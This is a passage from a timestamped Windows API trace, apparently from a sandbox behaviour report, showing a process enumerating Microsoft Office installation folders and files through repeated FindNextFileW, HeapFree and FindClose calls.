ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro", cAlternateFileName="")) returned 1 [0172.066] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0172.066] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86a6c5d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru", cAlternateFileName="")) returned 1 [0172.067] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0172.067] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67a8250, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67a8250, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk", cAlternateFileName="")) returned 1 [0172.067] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0172.067] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a7cf13, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a7cf13, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a7cf13, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl", cAlternateFileName="")) returned 1 [0172.067] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0172.067] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1565dae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1565dae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1565dae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Cyrl-BA", cAlternateFileName="SR-CYR~1")) returned 1 [0172.068] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0172.068] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf443017d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf443017d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf44563cd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Cyrl-CS", cAlternateFileName="SR-CYR~2")) returned 1 [0172.068] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0172.068] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0172.068] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0172.068] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv", cAlternateFileName="")) returned 1 [0172.068] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0172.068] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb67b102, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb67b102, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb6ed802, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="th", cAlternateFileName="")) returned 1 [0172.069] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0172.069] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr", cAlternateFileName="")) returned 1 [0172.069] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0172.069] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf80d6078, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80d6078, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80d6078, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="uk", cAlternateFileName="")) returned 1 [0172.069] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0172.069] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c46ba0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6c46ba0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c46ba0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vi", cAlternateFileName="")) returned 1 [0172.069] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0172.069] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc40a725, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc40a725, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc40a725, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0172.070] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0172.070] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x659fb9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x659fb9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x659fb9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0172.071] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0172.071] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x659fb9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x659fb9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x659fb9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0172.071] FindClose (in: hFindFile=0x4532080 | out: hFindFile=0x4532080) returned 1 [0172.071] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0172.071] FindNextFileW (in: hFindFile=0x4532040, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddaac59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddaac59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b382177, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3392, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSO0127.ACL", cAlternateFileName="")) returned 1 [0172.118] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0172.118] FindNextFileW (in: hFindFile=0x4532040, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4ae41a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdb652e29, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdcec30aa, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x205e48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ONENOTE.EXE", cAlternateFileName="")) returned 1 [0172.123] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0172.123] FindNextFileW (in: hFindFile=0x4532040, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1d319566, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x656d8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="OUTLPH.DLL", cAlternateFileName="")) returned 1 [0172.136] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0172.136] FindNextFileW (in: hFindFile=0x4532040, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1d791bfc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2169a085, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf2be48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="PDFREFLOW.EXE", cAlternateFileName="PDFREF~1.EXE")) returned 1 [0172.239] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0172.239] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf318faf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf318faf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf31b5d3e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1036", cAlternateFileName="")) returned 1 [0172.241] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0172.241] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe34d5ed4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe34d5ed4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe34d5ed4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="3082", cAlternateFileName="")) returned 1 [0172.242] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0172.242] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc52c782a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc52c782a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc52c782a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msgr8en.dub", cAlternateFileName="")) returned 1 [0172.243] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0172.243] FindNextFileW (in: hFindFile=0x4532040, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd41f54a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdec90856, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xded02ee7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14c660, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="PropertyModel.dll", cAlternateFileName="PROPER~1.DLL")) returned 1 [0172.248] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0172.248] FindNextFileW (in: hFindFile=0x4532040, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2296098c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd0460, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="PUBCONV.DLL", cAlternateFileName="")) returned 1 [0172.271] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0172.271] FindNextFileW (in: hFindFile=0x4532040, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeda173cc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="QUERIES", cAlternateFileName="")) returned 1 [0172.271] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0172.271] FindNextFileW (in: hFindFile=0x4532040, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd71a51a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcd71a51a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcd7406da, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xad30, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="rdpqoemetrics.dll", cAlternateFileName="RDPQOE~1.DLL")) returned 1 [0172.273] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0172.273] FindNextFileW (in: hFindFile=0x4532040, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1db7a09, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1db7a09, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4fef2b0, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x8aa50, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="SAVASWEB.DLL", cAlternateFileName="")) returned 1 [0172.276] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0172.276] FindNextFileW (in: hFindFile=0x4532040, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede1d373, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede1d373, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x237aeb7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x397278, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="STSLIST.DLL", cAlternateFileName="")) returned 1 [0172.907] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0172.907] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa326fd, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4cce0ca, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4cce0ca, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0 [0172.907] FindClose (in: hFindFile=0x4532080 | out: hFindFile=0x4532080) returned 1 [0172.907] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0172.907] FindNextFileW (in: hFindFile=0x4532040, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7f63b8, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1159842, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1349614, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x14a640, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="VISIO.EXE", cAlternateFileName="")) returned 1 [0173.210] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0173.211] FindNextFileW (in: hFindFile=0x4532040, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede4358a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede4358a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x245644bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2851, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="XML2WORD.XSL", cAlternateFileName="")) returned 1 [0173.211] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0173.212] FindNextFileW (in: hFindFile=0x4532280, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b1a0d3d, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b1a0d3d, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rsod", cAlternateFileName="")) returned 1 [0173.215] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0173.216] FindNextFileW (in: hFindFile=0x4532280, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb48c20e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb48c20e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0173.217] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0173.217] FindNextFileW (in: hFindFile=0x4531f80, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb48c20e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6099da, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0173.217] FindClose (in: hFindFile=0x4531f80 | out: hFindFile=0x4531f80) returned 1 [0173.218] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0173.218] FindNextFileW (in: hFindFile=0x4532280, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0173.232] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0173.232] FindNextFileW (in: hFindFile=0x4532040, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5bd4f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6a2342, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6a2342, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Part", cAlternateFileName="")) returned 1 [0173.236] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0173.236] FindNextFileW (in: hFindFile=0x4532040, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5bd4f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6a2342, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6a2342, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Part", cAlternateFileName="")) returned 0 [0173.237] FindClose (in: hFindFile=0x4532040 | out: hFindFile=0x4532040) returned 1 [0173.237] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0173.237] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6099da, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb67c092, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30f09, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AdjacencyLetter.dotx", cAlternateFileName="ADJACE~1.DOT")) returned 1 [0173.242] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0173.242] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb787155, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb787155, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb787155, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf6a1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LoanAmortization.xltx", cAlternateFileName="LOANAM~1.XLT")) returned 1 [0173.244] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0173.244] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, 